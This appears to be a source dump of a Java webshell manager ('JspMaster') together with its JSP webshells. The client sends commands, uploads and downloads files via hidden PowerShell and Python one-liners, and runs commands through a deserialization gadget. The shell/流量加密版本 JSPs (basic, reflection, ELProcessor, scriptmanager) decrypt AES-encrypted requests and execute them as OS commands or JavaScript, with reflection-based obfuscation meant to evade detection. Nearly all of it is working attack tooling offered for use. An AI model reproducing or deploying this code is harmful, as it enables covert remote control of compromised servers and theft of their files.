51 | task.setOnSucceeded(new EventHandler() {
52 | public void handle(WorkerStateEvent event) {
53 | dialogStage.close();
54 | }
55 | });
56 | }
57 |
58 | public void activateProgressBar() {
59 | dialogStage.show();
60 | }
61 | }
62 |
--------------------------------------------------------------------------------
/JspMaster.iml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
--------------------------------------------------------------------------------
/src/main/java/com/feihong/task/WindowsPlatformUploadThread.java:
--------------------------------------------------------------------------------
1 | package com.feihong.task;
2 |
3 | import com.feihong.executor.CommandExecutor;
4 | import com.feihong.executor.CommandExecutorFactory;
5 | import java.util.List;
6 | import java.util.Objects;
7 |
8 | public class WindowsPlatformUploadThread implements Runnable{
9 | final private int partNum;
10 | private int blockSize;
11 | private String serverPath;
12 | private int totalSize;
13 | private List threadPool;
14 | private StringBuffer sb;
15 | private CommandExecutor executor;
16 | private String prefix;
17 | private int retry;
18 |
19 |
20 | public WindowsPlatformUploadThread(String serverPath, int partNum, int blockSize, StringBuffer sb, int totalSize, List threadPool, String prefix){
21 | this.serverPath = serverPath;
22 | this.partNum = partNum;
23 | this.blockSize = blockSize;
24 | this.totalSize = totalSize;
25 | this.threadPool = threadPool;
26 | this.sb = sb;
27 | this.executor = CommandExecutorFactory.getInstance();
28 | this.prefix = prefix;
29 | }
30 |
31 | @Override
32 | public void run() {
33 | boolean flag = true;
34 | int offset = partNum * blockSize;
35 | int windowSize = (offset + blockSize < totalSize) ? blockSize : (totalSize - offset);
36 | //增加 flag 是为了当线程失败时,让其再次尝试
37 | while(flag) {
38 | try{
39 | String path = "tmp" + prefix + "-" + partNum;
40 | String cmd = "powershell -nop -ep bypass -c \"$text='" + sb.substring(offset, offset + windowSize) + "' | Out-File '" + path + "'\"";
41 | executor.exec(cmd);
42 | flag = false;
43 | }catch(Exception e){
44 | //增加跳出机制,防止死循环
45 | retry++;
46 | if(retry >= 5){
47 | System.out.println("Thread task failed!!!");
48 | break;
49 | }
50 | System.out.println(e.getMessage());
51 | }
52 | }
53 |
54 | threadPool.remove(this);
55 | }
56 |
57 | @Override
58 | public boolean equals(Object o) {
59 | if (this == o) return true;
60 | if (o == null || getClass() != o.getClass()) return false;
61 | WindowsPlatformUploadThread that = (WindowsPlatformUploadThread) o;
62 | return partNum == that.partNum;
63 | }
64 |
65 | @Override
66 | public int hashCode() {
67 | return Objects.hash(partNum);
68 | }
69 | }
70 |
--------------------------------------------------------------------------------
/src/main/java/com/feihong/asm/BehinderExploitAES.java:
--------------------------------------------------------------------------------
1 | package com.feihong.asm;
2 |
3 | import javax.crypto.Cipher;
4 | import javax.crypto.SecretKey;
5 | import javax.crypto.spec.IvParameterSpec;
6 | import javax.crypto.spec.SecretKeySpec;
7 | import javax.servlet.jsp.PageContext;
8 | import java.io.ByteArrayOutputStream;
9 | import java.io.IOException;
10 | import java.io.InputStream;
11 | import java.security.spec.AlgorithmParameterSpec;
12 | import java.util.Base64;
13 |
14 | public class BehinderExploitAES {
15 | private String str;
16 | private String encryptKey;
17 | private String iv;
18 |
19 | public String encrypt(final String plaintext) {
20 | try {
21 | // new SecretKeySpec 中的 byte[] 的 length 必须是 16或者24或者32, 否则会抛 InvalidKeyException 异常
22 | SecretKey key = new SecretKeySpec(this.encryptKey.getBytes(), "AES");
23 | // IV的长度必须和 BlockSize 一致(在这里 byte[] 的 length 应该为16),否则会抛 InvalidAlgorithmParameterException 异常
24 | AlgorithmParameterSpec iv = new IvParameterSpec(this.iv.getBytes());
25 | // 指定加密的算法、工作模式和填充方式
26 | Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
27 | cipher.init(Cipher.ENCRYPT_MODE, key, iv);
28 | byte[] result = cipher.doFinal(plaintext.getBytes("UTF-8"));
29 | return Base64.getEncoder().encodeToString(result);
30 | } catch (Exception e) {
31 | e.printStackTrace();
32 | return null;
33 | }
34 | }
35 |
36 | @Override
37 | public boolean equals(Object obj) {
38 | if(obj instanceof PageContext){
39 | PageContext page = (PageContext)obj;
40 | String result = "";
41 | try{
42 | InputStream inputStream = Runtime.getRuntime().exec(str.split(",",3)).getInputStream();
43 | int len = 0;
44 | byte[] bytes = new byte[1024];
45 | ByteArrayOutputStream baos = new ByteArrayOutputStream();
46 | while((len = inputStream.read(bytes)) != -1){
47 | baos.write(bytes, 0, len);
48 | }
49 | result = baos.toString();
50 | inputStream.close();
51 | baos.close();
52 | }catch (Exception e){
53 | e.printStackTrace();
54 | }
55 |
56 | try {
57 | page.getResponse().getWriter().print(this.encrypt(result.trim()));
58 | } catch (IOException e) {
59 | e.printStackTrace();
60 | }
61 | }
62 |
63 | return super.equals(obj);
64 | }
65 | }
66 |
--------------------------------------------------------------------------------
/src/main/java/com/feihong/task/InitializeTask.java:
--------------------------------------------------------------------------------
1 | package com.feihong.task;
2 |
3 | import com.feihong.util.*;
4 | import javafx.concurrent.Task;
5 | import org.apache.commons.io.FileUtils;
6 | import java.io.File;
7 | import java.security.MessageDigest;
8 | import java.util.ArrayList;
9 | import java.util.List;
10 |
11 | public class InitializeTask extends Task {
12 | private String key;
13 | private int status;
14 | private boolean encrypt;
15 |
16 | public int getStatus(){
17 | return this.status;
18 | }
19 |
20 | public InitializeTask(String key, boolean encrypt){
21 | this.key = key;
22 | this.encrypt = encrypt;
23 | }
24 |
25 | @Override
26 | protected Boolean call() {
27 |
28 | char hexDigits[] = {'0', '1', '2', '3', '4', '5', '6', '7', '8', '9',
29 | 'a', 'b', 'c', 'd', 'e', 'f'};
30 | try {
31 | MessageDigest mdTemp = MessageDigest.getInstance("SHA1");
32 | mdTemp.update(key.getBytes("UTF-8"));
33 | byte[] md = mdTemp.digest();
34 | int j = md.length;
35 | char buf[] = new char[j * 2];
36 | int k = 0;
37 | for (int i = 0; i < j; i++) {
38 | byte byte0 = md[i];
39 | buf[k++] = hexDigits[byte0 >>> 4 & 0xf];
40 | buf[k++] = hexDigits[byte0 & 0xf];
41 | }
42 | String key = new String(buf).substring(0, 32);
43 | String iv = new StringBuffer(new String(buf)).reverse().toString().substring(0,16);
44 | ConfigUtil.setCommnunicationKey(key);
45 | ConfigUtil.setIV(iv);
46 |
47 | String path = System.getProperty("user.dir") + "/shell";
48 | File file = new File(path);
49 | List files = new ArrayList<>();
50 | BasicUtil.findFileList(file, files);
51 | for (File f : files) {
52 | String fileContent = FileUtils.readFileToString(f, "UTF-8");
53 | fileContent = fileContent.replaceAll("\\[key_placeholder\\]", key);
54 | fileContent = fileContent.replaceAll("\\[iv_placeholder\\]", iv);
55 | FileUtils.writeStringToFile(f, fileContent, "UTF-8");
56 | }
57 | } catch (Exception e) {
58 | this.status = -1;
59 | e.printStackTrace();
60 | }
61 |
62 | //初始化的时候,如果选择使用登录密码,在这里需要对 dbFile 进行初始化的加密
63 | if (encrypt) {
64 | EncryptUtil.encryptFile(BasicSetting.getInstance().dbFile, PasswordUtil.password);
65 | }
66 |
67 | this.status = 1;
68 | return true;
69 | }
70 | }
71 |
--------------------------------------------------------------------------------
/src/main/java/com/feihong/task/LinuxPlatformDownloadTask.java:
--------------------------------------------------------------------------------
1 | package com.feihong.task;
2 |
3 | import com.feihong.executor.CommandExecutorFactory;
4 | import javafx.concurrent.Task;
5 | import java.io.File;
6 | import java.util.ArrayList;
7 | import java.util.Iterator;
8 | import java.util.List;
9 |
10 | public class LinuxPlatformDownloadTask extends Task {
11 | private String serverPath;
12 | private String localPath;
13 | private int threadNum;
14 | private int blocksize;
15 |
16 | public LinuxPlatformDownloadTask(String serverPath, String localPath, int threadNum, int blocksize){
17 | this.serverPath = serverPath;
18 | this.localPath = localPath;
19 | this.threadNum = threadNum;
20 | this.blocksize = blocksize;
21 | }
22 |
23 | @Override
24 | protected Boolean call() throws Exception {
25 | long time1 = System.currentTimeMillis();
26 |
27 | String cmd = "ls -l '" + serverPath + "'";
28 | String result = CommandExecutorFactory.getInstance().exec(cmd).getResponseResult();
29 | int length = Integer.parseInt(result.split("\\s+")[4]);
30 | System.out.println("Total size: " + length);
31 |
32 | int totalPart = (int) Math.ceil((double) length / blocksize);
33 | System.out.println("Total part: " + totalPart);
34 |
35 | List list = new ArrayList<>();
36 | for(int i =0;i < totalPart; i++){
37 | list.add(i);
38 | }
39 |
40 | List threadPool = new ArrayList<>();
41 | Iterator it = list.iterator();
42 | List runThreads = new ArrayList<>();
43 | int count = 0;
44 | while( !isCancelled() && it.hasNext()){
45 | if(threadPool.size() < threadNum){
46 | int partNum = it.next();
47 | Runnable runnable = new LinuxPlatformDownloadThread(serverPath, partNum, blocksize, localPath, length, threadPool);
48 | threadPool.add(runnable);
49 | Thread t = new Thread(runnable);
50 | t.start();
51 | runThreads.add(t);
52 | updateProgress(++count, totalPart);
53 | }
54 | }
55 |
56 | if(isCancelled()){
57 | //删除文件操作必须等所有线程结束,否则会出现删除了又出现的情况
58 | for(Thread t : runThreads)
59 | try{t.join();}catch(Throwable e){}
60 |
61 | new File(localPath).delete();
62 | return true;
63 | }
64 |
65 | System.out.println("下载完毕");
66 |
67 | long time2 = System.currentTimeMillis();
68 | System.out.println("耗时:" + (time2 - time1)/1000.0 + "s");
69 | return true;
70 | }
71 | }
72 |
--------------------------------------------------------------------------------
/src/main/java/com/feihong/task/LinuxPlatformUploadThread.java:
--------------------------------------------------------------------------------
1 | package com.feihong.task;
2 |
3 | import com.feihong.bean.CommandExecutionResult;
4 | import com.feihong.executor.CommandExecutor;
5 | import com.feihong.executor.CommandExecutorFactory;
6 | import java.util.List;
7 | import java.util.Objects;
8 |
9 | public class LinuxPlatformUploadThread implements Runnable{
10 | final private int partNum;
11 | private int blockSize;
12 | private String serverPath;
13 | private int totalSize;
14 | private List threadPool;
15 | private StringBuffer sb;
16 | private CommandExecutor executor;
17 | private String prefix;
18 | private int retry;
19 |
20 |
21 | public LinuxPlatformUploadThread(String serverPath, int partNum, int blockSize, StringBuffer sb, int totalSize, List threadPool, String prefix){
22 | this.serverPath = serverPath;
23 | this.partNum = partNum;
24 | this.blockSize = blockSize;
25 | this.totalSize = totalSize;
26 | this.threadPool = threadPool;
27 | this.sb = sb;
28 | this.executor = CommandExecutorFactory.getInstance();
29 | this.prefix = prefix;
30 | }
31 |
32 | @Override
33 | public void run() {
34 |
35 | boolean flag = true;
36 | int offset = partNum * blockSize;
37 | int windowSize = (offset + blockSize < totalSize) ? blockSize : (totalSize - offset);
38 | //增加 flag 是为了当线程失败时,让其再次尝试
39 | while(flag) {
40 | try{
41 | String path = "/tmp/tmp" + prefix + "-" + partNum;;
42 | String cmd = "python -c \"f=open('" + path + "','w+')\n" +
43 | "f.write('" + sb.substring(offset, offset + windowSize) + "')\n" +
44 | "f.close()\"";
45 | CommandExecutionResult result = executor.exec(cmd);
46 | flag = false;
47 | }catch(Exception e){
48 | //增加跳出机制,防止死循环
49 | retry++;
50 | if(retry >= 5){
51 | System.out.println("Thread task failed!!!");
52 | break;
53 | }
54 | System.out.println("retrying...");
55 | }
56 | }
57 |
58 | boolean res = threadPool.remove(this);
59 | }
60 |
61 | @Override
62 | public boolean equals(Object o) {
63 | if (this == o) return true;
64 | if (o == null || getClass() != o.getClass()) return false;
65 | LinuxPlatformUploadThread that = (LinuxPlatformUploadThread) o;
66 | return partNum == that.partNum;
67 | }
68 |
69 | @Override
70 | public int hashCode() {
71 | return Objects.hash(partNum, blockSize, serverPath, totalSize, threadPool, sb, executor);
72 | }
73 | }
74 |
--------------------------------------------------------------------------------
/src/main/java/com/feihong/executor/DeserializationCommandExecutor.java:
--------------------------------------------------------------------------------
1 | package com.feihong.executor;
2 |
3 | import com.feihong.asm.GenerateDynamicClass;
4 | import com.feihong.bean.CommandExecutionResult;
5 | import com.feihong.util.BasicSetting;
6 | import com.feihong.util.WrappedHttpRequest;
7 | import java.io.ByteArrayOutputStream;
8 | import java.io.ObjectOutputStream;
9 | import java.net.MalformedURLException;
10 | import java.net.URL;
11 | import java.util.Base64;
12 |
13 | public class DeserializationCommandExecutor extends ClassLoader implements CommandExecutor {
14 | @Override
15 | public String getName() {
16 | return "Deserialization";
17 | }
18 |
19 | @Override
20 | public CommandExecutionResult exec(String command) {
21 |
22 | String base64Encode = null;
23 | URL url = null;
24 | try {
25 | url = new URL(BasicSetting.getInstance().shellUrl);
26 | } catch (MalformedURLException e) {
27 | e.printStackTrace();
28 | }
29 |
30 | String className1 = transform(url.getPath(), "/");
31 | String className2 = transform(url.getPath(), ".");
32 |
33 | try{
34 |
35 | String wrappedCommand = null;
36 | GenerateDynamicClass dynamicClass;
37 | if(command.equalsIgnoreCase("ipconfig") || command.trim().equalsIgnoreCase("ifconfig")){
38 | dynamicClass = new GenerateDynamicClass(className1,command);
39 | }else{
40 | if(BasicSetting.getInstance().shellPlatform.trim().equalsIgnoreCase("windows")){
41 | dynamicClass = new GenerateDynamicClass(className1,"cmd.exe,/C," + command);
42 | }else{
43 | dynamicClass = new GenerateDynamicClass(className1,"/bin/bash,-c," + command);
44 | }
45 | }
46 |
47 | Class clazz = new DeserializationCommandExecutor().defineClass(className2, dynamicClass.generate(), 0, dynamicClass.generate().length);
48 |
49 | ByteArrayOutputStream baos = new ByteArrayOutputStream();
50 | ObjectOutputStream oos = new ObjectOutputStream(baos);
51 | oos.writeObject(clazz.newInstance());
52 | base64Encode = Base64.getEncoder().encodeToString(baos.toByteArray());
53 |
54 | }catch(Exception e){
55 | e.printStackTrace();
56 | }
57 |
58 | return WrappedHttpRequest.post(base64Encode);
59 | }
60 |
61 | public String transform(String str, String seperator){
62 | String path = str.substring(0, str.lastIndexOf("."));
63 | path = path.replaceAll("-","_002d");
64 | path = "org/apache/jsp" + path;
65 | path = path.replaceAll("/", seperator) + "_jsp$Gadget";
66 | return path;
67 | }
68 | }
69 |
--------------------------------------------------------------------------------
/src/main/java/com/feihong/util/ConnectionUtil.java:
--------------------------------------------------------------------------------
1 | package com.feihong.util;
2 |
3 | import com.feihong.bean.CommandExecutionResult;
4 | import com.feihong.executor.CommandExecutorFactory;
5 |
6 | public class ConnectionUtil {
7 |
8 | public static String getConnectionStatus() {
9 | String result = "";
10 |
11 | CommandExecutionResult windowsResult = CommandExecutorFactory.getInstance().exec("ipconfig");
12 | CommandExecutionResult linuxResult = CommandExecutorFactory.getInstance().exec("ifconfig");
13 |
14 | if(windowsResult.getResponseStatusCode() == 404 || linuxResult.getResponseStatusCode() == 404){
15 | BasicSetting.getInstance().isConnected = false;
16 | result = "连接失败,文件不存在!";
17 | }else if(windowsResult.getResponseStatusCode() == 200 || linuxResult.getResponseStatusCode() == 200){
18 | if(windowsResult.getException() == null && linuxResult.getException() == null) {
19 | if(windowsResult.getResponseResult() != null && windowsResult.getResponseResult().contains("Windows")){
20 | BasicSetting.getInstance().isConnected = true;
21 | result = "连接成功!";
22 | BasicSetting.getInstance().shellPlatform = "windows";
23 | BasicSetting.getInstance().fileSeprator = "\\";
24 | }else if(linuxResult.getResponseResult() != null && linuxResult.getResponseResult().contains("flags")){
25 | BasicSetting.getInstance().isConnected = true;
26 | result = "连接成功!";
27 | BasicSetting.getInstance().shellPlatform = "linux";
28 | BasicSetting.getInstance().fileSeprator = "/";
29 | }else{
30 | BasicSetting.getInstance().isConnected = false;
31 | result = "连接失败,未获得有效的执行结果,可能是因为使用了错误的通信密钥!";
32 | }
33 | }else {
34 |
35 | if (windowsResult.getException().contains("ConnectException") || linuxResult.getException().contains("ConnectException")) {
36 | BasicSetting.getInstance().isConnected = false;
37 | result = "连接失败,服务器拒绝访问!";
38 | } else if (windowsResult.getException().contains("SocketTimeoutException") || linuxResult.getException().contains("SocketTimeoutException")) {
39 | BasicSetting.getInstance().isConnected = false;
40 | result = "连接失败,连接超时!";
41 | } else {
42 | BasicSetting.getInstance().isConnected = false;
43 | result = "出问题了,连接失败!";
44 | }
45 | }
46 | }else{
47 | BasicSetting.getInstance().isConnected = false;
48 | result = "连接异常!";
49 | }
50 |
51 |
52 | return result;
53 | }
54 | }
55 |
--------------------------------------------------------------------------------
/shell/流量加密版本/basic-aes.jsp:
--------------------------------------------------------------------------------
1 | <%@ page contentType="text/html;charset=UTF-8" language="java" %>
2 | <%@ page import="javax.crypto.Cipher" %>
3 | <%@ page import="javax.crypto.SecretKey" %>
4 | <%@ page import="javax.crypto.spec.IvParameterSpec" %>
5 | <%@ page import="javax.crypto.spec.SecretKeySpec" %>
6 | <%@ page import="java.io.*" %>
7 | <%@ page import="java.security.spec.AlgorithmParameterSpec" %>
8 | <% request.setCharacterEncoding("utf-8"); %>
9 | <%!
10 | public static String encrypt(final String plaintext) {
11 | try {
12 | SecretKey key = new SecretKeySpec("[key_placeholder]".getBytes(), "AES");
13 | AlgorithmParameterSpec iv = new IvParameterSpec("[iv_placeholder]".getBytes());
14 | // 指定加密的算法、工作模式和填充方式
15 | Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
16 | cipher.init(Cipher.ENCRYPT_MODE, key, iv);
17 | byte[] result = cipher.doFinal(plaintext.getBytes("UTF-8"));
18 | return new sun.misc.BASE64Encoder().encode(result).replaceAll("\r|\n|\r\n", "");
19 | } catch (Exception e) {
20 | e.printStackTrace();
21 | return null;
22 | }
23 | }
24 |
25 | public static String decrypt(final String encrypted) {
26 | try {
27 | SecretKey key = new SecretKeySpec("[key_placeholder]".getBytes(), "AES");
28 | AlgorithmParameterSpec iv = new IvParameterSpec("[iv_placeholder]".getBytes());
29 | byte[] decodeBase64 = new sun.misc.BASE64Decoder().decodeBuffer(encrypted);
30 | // 指定加密的算法、工作模式和填充方式
31 | Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
32 | cipher.init(Cipher.DECRYPT_MODE, key, iv);
33 | return new String(cipher.doFinal(decodeBase64), "UTF-8");
34 | } catch (Exception e) {
35 | e.printStackTrace();
36 | return null;
37 | }
38 | }
39 | %>
40 | <%
41 | try {
42 | BufferedReader br = request.getReader();
43 | String str, wholeStr = "";
44 | while((str = br.readLine()) != null) {
45 | wholeStr += str + "\n";
46 | }
47 | br.close();
48 |
49 |
50 | if(wholeStr != null && !wholeStr.trim().equals("")){
51 | wholeStr = wholeStr.substring(0,wholeStr.length()-1);
52 | wholeStr = decrypt(wholeStr);
53 | InputStream in = Runtime.getRuntime().exec(wholeStr.split(",",3)).getInputStream();
54 | ByteArrayOutputStream baos = new ByteArrayOutputStream();
55 | byte[] buffer = new byte[1024];
56 | int len = 0;
57 | while((len = in.read(buffer)) != -1) {
58 | baos.write(buffer, 0, len);
59 | }
60 | response.getWriter().print(encrypt(baos.toString().trim()));
61 | out.clearBuffer();
62 | in.close();
63 | baos.close();
64 | }
65 | } catch (IOException e) {
66 | System.err.println(e);
67 | }
68 | %>
--------------------------------------------------------------------------------
/src/main/java/com/feihong/task/WindowsPlatformDownloadThread.java:
--------------------------------------------------------------------------------
1 | package com.feihong.task;
2 |
3 | import com.feihong.bean.CommandExecutionResult;
4 | import com.feihong.executor.CommandExecutorFactory;
5 | import java.io.IOException;
6 | import java.io.RandomAccessFile;
7 | import java.util.List;
8 | import java.util.Objects;
9 |
10 | public class WindowsPlatformDownloadThread implements Runnable{
11 | private int partNum;
12 | private int blockSize;
13 | private String serverPath;
14 | private int totalSize;
15 | private List threadPool;
16 | private String localPath;
17 | private int retry;
18 |
19 |
20 | public WindowsPlatformDownloadThread(String serverPath, int partNum, int blockSize, String localPath, int totalSize, List threadPool){
21 | this.serverPath = serverPath;
22 | this.partNum = partNum;
23 | this.blockSize = blockSize;
24 | this.totalSize = totalSize;
25 | this.threadPool = threadPool;
26 | this.localPath = localPath;
27 | }
28 |
29 | @Override
30 | public void run() {
31 | boolean flag = true;
32 | int offset = partNum * blockSize;
33 |
34 | //增加 flag 是为了当线程下载失败时,让其重新尝试再次下载
35 | while(flag) {
36 | int windowSize = (offset + blockSize) < totalSize ? blockSize : totalSize - offset;
37 | String fethChuck = "powershell -nop -w hidden -ep bypass -c \"[System.Convert]::ToBase64String([System.IO" +
38 | ".File]::ReadAllBytes('" + serverPath + "')).substring(" + offset + "," + windowSize + ")\"";
39 | CommandExecutionResult result = CommandExecutorFactory.getInstance().exec(fethChuck);
40 | String chunk = result.getResponseResult();
41 |
42 | try {
43 | RandomAccessFile file = new RandomAccessFile(localPath + ".tmp", "rw");
44 | file.setLength(totalSize);
45 | file.seek(offset);
46 | file.write(chunk.getBytes());
47 | file.close();
48 | flag = false;
49 | } catch (NullPointerException | IOException e) {
50 | //增加跳出机制,防止死循环
51 | retry++;
52 | if(retry >= 5){
53 | System.out.println("Thread task failed!!!");
54 | break;
55 | }
56 | System.out.println("retrying...");
57 | }
58 | }
59 |
60 | threadPool.remove(this);
61 | }
62 |
63 | @Override
64 | public boolean equals(Object o) {
65 | if (this == o) return true;
66 | if (o == null || getClass() != o.getClass()) return false;
67 | WindowsPlatformDownloadThread that = (WindowsPlatformDownloadThread) o;
68 | return partNum == that.partNum;
69 | }
70 |
71 | @Override
72 | public int hashCode() {
73 | return Objects.hash(partNum);
74 | }
75 | }
76 |
--------------------------------------------------------------------------------
/shell/流量加密版本/reflection-aes-2.jsp:
--------------------------------------------------------------------------------
1 | <%@ page import="java.io.*" %>
2 | <%@ page import="javax.crypto.Cipher" %>
3 | <%@ page import="java.security.spec.AlgorithmParameterSpec" %>
4 | <%@ page import="javax.crypto.spec.SecretKeySpec" %>
5 | <%@ page import="javax.crypto.spec.IvParameterSpec" %>
6 | <%@ page import="javax.crypto.SecretKey" %>
7 | <%@ page contentType="text/html;charset=UTF-8" language="java" %>
8 | <%!
9 | public static String encrypt(final String plaintext) {
10 | try {
11 | SecretKey key = new SecretKeySpec("[key_placeholder]".getBytes(), "AES");
12 | AlgorithmParameterSpec iv = new IvParameterSpec("[iv_placeholder]".getBytes());
13 | // 指定加密的算法、工作模式和填充方式
14 | Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
15 | cipher.init(Cipher.ENCRYPT_MODE, key, iv);
16 | byte[] result = cipher.doFinal(plaintext.getBytes("UTF-8"));
17 | return new sun.misc.BASE64Encoder().encode(result).replaceAll("\r|\n|\r\n", "");
18 | } catch (Exception e) {
19 | e.printStackTrace();
20 | return null;
21 | }
22 | }
23 |
24 | public static String decrypt(final String encrypted) {
25 | try {
26 | SecretKey key = new SecretKeySpec("[key_placeholder]".getBytes(), "AES");
27 | AlgorithmParameterSpec iv = new IvParameterSpec("[iv_placeholder]".getBytes());
28 | byte[] decodeBase64 = new sun.misc.BASE64Decoder().decodeBuffer(encrypted);
29 | // 指定加密的算法、工作模式和填充方式
30 | Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
31 | cipher.init(Cipher.DECRYPT_MODE, key, iv);
32 | return new String(cipher.doFinal(decodeBase64), "UTF-8");
33 | } catch (Exception e) {
34 | e.printStackTrace();
35 | return null;
36 | }
37 | }
38 | %>
39 | <%
40 | BufferedReader br = request.getReader();
41 | String str, wholeStr = "";
42 | while((str = br.readLine()) != null) {
43 | wholeStr += str + "\n";
44 | }
45 | if(wholeStr != null && !wholeStr.trim().equals("")){
46 | wholeStr = decrypt(wholeStr.substring(0,wholeStr.length()-1));
47 | Class clazz = Class.forName(new String(new byte[] {106,97,118,97,46,108,97,110,103,46,80,114,111,99,101,115,115,66,117,105,108,100,101,114}));
48 | InputStream in = ((Process)clazz.getMethod(new String(new byte[]{115,116,97,114,116})).invoke(clazz.getConstructor(String[].class).newInstance(new Object[]{wholeStr.split(",",3)}), new Object[]{})).getInputStream();
49 | int len = 0;
50 | byte[] buffer = new byte[1024];
51 | ByteArrayOutputStream baos = new ByteArrayOutputStream();
52 | while((len = in.read(buffer)) != -1){
53 | baos.write(buffer, 0, len);
54 | }
55 |
56 | response.getWriter().print(encrypt(baos.toString().trim()));
57 | in.close();
58 | baos.close();
59 | }
60 | %>
--------------------------------------------------------------------------------
/shell/流量加密版本/ELProcessor-aes.jsp:
--------------------------------------------------------------------------------
1 | <%@ page import="javax.el.ELProcessor" %>
2 | <%@ page import="java.io.BufferedInputStream" %>
3 | <%@ page import="java.io.ByteArrayOutputStream" %>
4 | <%@ page import="java.io.BufferedReader" %>
5 | <%@ page import="javax.crypto.SecretKey" %>
6 | <%@ page import="javax.crypto.spec.SecretKeySpec" %>
7 | <%@ page import="java.security.spec.AlgorithmParameterSpec" %>
8 | <%@ page import="javax.crypto.Cipher" %>
9 | <%@ page import="javax.crypto.spec.IvParameterSpec" %>
10 | <%@ page contentType="text/html;charset=UTF-8" language="java" %>
11 | <%!
12 | public static String encrypt(final String plaintext) {
13 | try {
14 | SecretKey key = new SecretKeySpec("[key_placeholder]".getBytes(), "AES");
15 | AlgorithmParameterSpec iv = new IvParameterSpec("[iv_placeholder]".getBytes());
16 | // 指定加密的算法、工作模式和填充方式
17 | Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
18 | cipher.init(Cipher.ENCRYPT_MODE, key, iv);
19 | byte[] result = cipher.doFinal(plaintext.getBytes("UTF-8"));
20 | return new sun.misc.BASE64Encoder().encode(result).replaceAll("\r|\n|\r\n", "");
21 | } catch (Exception e) {
22 | e.printStackTrace();
23 | return null;
24 | }
25 | }
26 |
27 | public static String decrypt(final String encrypted) {
28 | try {
29 | SecretKey key = new SecretKeySpec("[key_placeholder]".getBytes(), "AES");
30 | AlgorithmParameterSpec iv = new IvParameterSpec("[iv_placeholder]".getBytes());
31 | byte[] decodeBase64 = new sun.misc.BASE64Decoder().decodeBuffer(encrypted);
32 | // 指定加密的算法、工作模式和填充方式
33 | Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
34 | cipher.init(Cipher.DECRYPT_MODE, key, iv);
35 | return new String(cipher.doFinal(decodeBase64), "UTF-8");
36 | } catch (Exception e) {
37 | e.printStackTrace();
38 | return null;
39 | }
40 | }
41 | %>
42 | <%
43 | BufferedReader br = request.getReader();
44 | String str, wholeStr = "";
45 | while((str = br.readLine()) != null) {
46 | wholeStr += str + "\n";
47 | }
48 | br.close();
49 |
50 | if(wholeStr != null && !wholeStr.trim().equals("")) {
51 | wholeStr = decrypt(wholeStr.substring(0, wholeStr.length() - 1));
52 | ELProcessor el = new ELProcessor();
53 | BufferedInputStream bis = (BufferedInputStream)el.getValue(wholeStr,Class.forName("java.io.BufferedInputStream"));
54 | int len = 0;
55 | byte[] bytes = new byte[1024];
56 | ByteArrayOutputStream baos = new ByteArrayOutputStream();
57 | while((len = bis.read(bytes)) != -1){
58 | baos.write(bytes,0,len);
59 | }
60 |
61 | response.getWriter().print(encrypt(baos.toString().trim()));
62 | bis.close();
63 | baos.close();
64 | }
65 | %>
66 |
--------------------------------------------------------------------------------
/shell/流量加密版本/scriptmanager-aes.jsp:
--------------------------------------------------------------------------------
1 | <%@ page import="java.io.*" %>
2 | <%@ page import="javax.script.ScriptEngine" %>
3 | <%@ page import="javax.script.ScriptEngineManager" %>
4 | <%@ page import="javax.crypto.SecretKey" %>
5 | <%@ page import="javax.crypto.spec.SecretKeySpec" %>
6 | <%@ page import="java.security.spec.AlgorithmParameterSpec" %>
7 | <%@ page import="javax.crypto.spec.IvParameterSpec" %>
8 | <%@ page import="javax.crypto.Cipher" %>
9 | <%@ page contentType="text/html;charset=UTF-8" language="java" %>
10 | <%!
11 | public String readInputStream(InputStream inputStream) throws IOException {
12 | int len = 0;
13 | byte[] buffer = new byte[1024];
14 | ByteArrayOutputStream baos = new ByteArrayOutputStream();
15 | while((len = inputStream.read(buffer)) != -1){
16 | baos.write(buffer, 0, len);
17 | }
18 | baos.close();
19 | return encrypt(baos.toString().trim());
20 | }
21 |
22 | public static String encrypt(final String plaintext) {
23 | try {
24 | SecretKey key = new SecretKeySpec("[key_placeholder]".getBytes(), "AES");
25 | AlgorithmParameterSpec iv = new IvParameterSpec("[iv_placeholder]".getBytes());
26 | // 指定加密的算法、工作模式和填充方式
27 | Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
28 | cipher.init(Cipher.ENCRYPT_MODE, key, iv);
29 | byte[] result = cipher.doFinal(plaintext.getBytes("UTF-8"));
30 | return new sun.misc.BASE64Encoder().encode(result).replaceAll("\r|\n|\r\n", "");
31 | } catch (Exception e) {
32 | e.printStackTrace();
33 | return null;
34 | }
35 | }
36 |
37 | public static String decrypt(final String encrypted) {
38 | try {
39 | SecretKey key = new SecretKeySpec("[key_placeholder]".getBytes(), "AES");
40 | AlgorithmParameterSpec iv = new IvParameterSpec("[iv_placeholder]".getBytes());
41 | byte[] decodeBase64 = new sun.misc.BASE64Decoder().decodeBuffer(encrypted);
42 | // 指定加密的算法、工作模式和填充方式
43 | Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
44 | cipher.init(Cipher.DECRYPT_MODE, key, iv);
45 | return new String(cipher.doFinal(decodeBase64), "UTF-8");
46 | } catch (Exception e) {
47 | e.printStackTrace();
48 | return null;
49 | }
50 | }
51 | %>
52 | <%
53 | ScriptEngineManager manager = new ScriptEngineManager();
54 | ScriptEngine engine = manager.getEngineByName("javascript");
55 |
56 | engine.put("obj", this);
57 | engine.put("out", out);
58 |
59 | BufferedReader br = request.getReader();
60 | String str, wholeStr = "";
61 | while((str = br.readLine()) != null) {
62 | wholeStr += str + "\n";
63 | }
64 | if(wholeStr != null && !wholeStr.trim().equals("")){
65 | wholeStr = decrypt(wholeStr.substring(0,wholeStr.length()-1));
66 | engine.eval(wholeStr.trim());
67 | }
68 | %>
--------------------------------------------------------------------------------
/shell/流量加密版本/reflection-aes-1.jsp:
--------------------------------------------------------------------------------
1 | <%@ page import="java.io.*" %>
